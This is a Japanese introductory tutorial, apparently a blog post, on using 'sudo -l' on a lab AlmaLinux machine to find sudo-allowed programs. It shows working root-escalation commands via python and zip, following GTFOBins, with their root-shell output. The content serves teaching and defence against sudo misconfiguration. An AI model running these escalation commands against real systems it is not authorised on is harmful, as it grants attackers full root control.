【ハッキング入門】sudo -lで権限昇格への足掛かりにする

# 環境

- AlmaLinux 8.9

# 特権ユーザーで実行できるコマンドの表示

`sudo`コマンドの`-l`オプションを使用すると特権ユーザーで実行できるプログラムと禁止されているプログラムを確認することができます。

>-l, --list  If no command is specified, list the allowed (and forbidden)commands for the invoking user 
>>sudoのマニュアルより

# 権限昇格を試す

:::note warn
前提として、一般ユーザーのシェルを取得できているとします。
:::

一般ユーザーの`user`でログインしています。

```
[user@localhost ~]$ whoami
user
[user@localhost ~]$ id
uid=1001(user) gid=1001(user) groups=1001(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

`sudo -l`を使用し、特権ユーザーで実行可能なプログラムを表示します。
今回は`python`と`zip`コマンドが特権ユーザーで実行可能になっています。

```
[user@localhost ~]$ sudo -l
[sudo] user のパスワード:
既定値のエントリと照合中 (ユーザー名 user) (ホスト名
    localhost):
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

ユーザー user は localhost 上で コマンドを実行できます
    (root) /usr/bin/python3.11, /usr/bin/zip
```

権限昇格には下記サイトを参考にします。
`GTFOBins`では権限昇格についてのテクニックがまとめられているのでおすすめのサイトです。

https://gtfobins.github.io/

今回は`zip`,`python`を利用したそれぞれの特権昇格テクニックを紹介します。

## pythonコマンドで特権昇格

`GTFOBins`で`python`コマンドが特権ユーザーで実行できる場合の、権限昇格テクニックが見つかりました。

https://gtfobins.github.io/gtfobins/python/

下記コマンドを実行します。

```
sudo python -c 'import os; os.system("/bin/sh")'
```

`python`の`-c`オプションは指定した文字列をpythonコードとして実行します。
コード部分では`osモジュール`をインポートし、`system()`関数で`shシェル`をルートユーザーで実行します。

結果、`root`アカウントのシェルを取得できました。

```
[user@localhost ~]$ sudo python3.11 -c 'import os; os.system("/bin/sh")'
[sudo] user のパスワード:
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.4# whoami
root
```

## zipコマンドで特権昇格

`GTFOBins`で`zip`コマンドが特権ユーザーで実行できる場合の、権限昇格テクニックが見つかりました。
下記サイトを参考に進めていきます。

https://gtfobins.github.io/gtfobins/zip/

まず、`mktemp -u`で一時ファイルの名前を生成し、`TF`変数に値を入れます。

```
TF=$(mktemp -u)
```

`mktemp`は一時ファイルやディレクトリを作成するコマンドですが、`-u`オプションを使用することで、作成せず名前のみ出力します。

```
$ echo $TF
/tmp/tmp.egdVxD3aTw
[user@localhost ~]$ ls -l /tmp
合計 0
drwx------. 3 root root 17  5月 25 10:57 systemd-private-245027226b924d2b992d3a9286fe6b53-ModemManager.service-EFWMHp
drwx------. 3 root root 17  5月 25 10:57 systemd-private-245027226b924d2b992d3a9286fe6b53-chronyd.service-wZQ4x6
drwx------. 3 root root 17  5月 25 10:58 systemd-private-245027226b924d2b992d3a9286fe6b53-colord.service-ZYCfkw
drwx------. 3 root root 17  5月 25 10:58 systemd-private-245027226b924d2b992d3a9286fe6b53-fwupd.service-XKmATt
drwx------. 3 root root 17  5月 25 10:57 systemd-private-245027226b924d2b992d3a9286fe6b53-rtkit-daemon.service-OJ8std
```

次に下記コマンドを実行します。

```
sudo zip $TF /etc/hosts -T -TT 'sh #'
```

`zip`の圧縮ファイル名として`$TF`変数の値を使用して`/etc/hosts`ファイルを圧縮します。

この時オプションで`-T`,`-TT`を指定します。

`-T`では圧縮するファイルのテストを行うオプションです。テストに失敗した場合は圧縮されません。

>-T
--test
    Test  the integrity of the new zip file. If the check fails, the old zip file is unchanged and (with  the  -m  option)  no  input files are removed.
>>man zip より

また、`-TT`はテストで使用するコマンドを指定します。
今回はそのコマンドとして`sh #`を指定しています。

>-TT cmd
--unzip-command cmd
    Use  command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.  On Unix, to use a copy of unzip  in  the current  directory  instead  of the standard system unzip, could use:
    `zip archive file1 file2 -T -TT "./unzip -tqq"`
    In cmd, {} is replaced by the name  of  the  temporary  archive,otherwise  the name of the archive is appended to the end of the command.  The return code is checked for success (0 on Unix).
>>man zip より

:::note warn
`-TT`オプションは`-T`オプションを指定する前提なので`-T`オプションとセットで指定しないと正常に動きません。
:::

`-TT`オプションで指定されている`sh #`は`sh`シェルを実行するように指定しています。
`#`でコメントアウトがあり、終了する条件が指定されていないため、シェルを明示的に終了しない限りシェルセッションが持続します。
これにより、テスト処理を永久に続けさせることができ、シェルを提供し続けられます。

最終的に`root`アカウントのシェルを取得できました。

```
[user@localhost ~]$ sudo zip $TF /etc/hosts -T -TT 'sh #'
[sudo] user のパスワード:
  adding: etc/hosts (deflated 65%)
sh-4.4# whoami
root
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```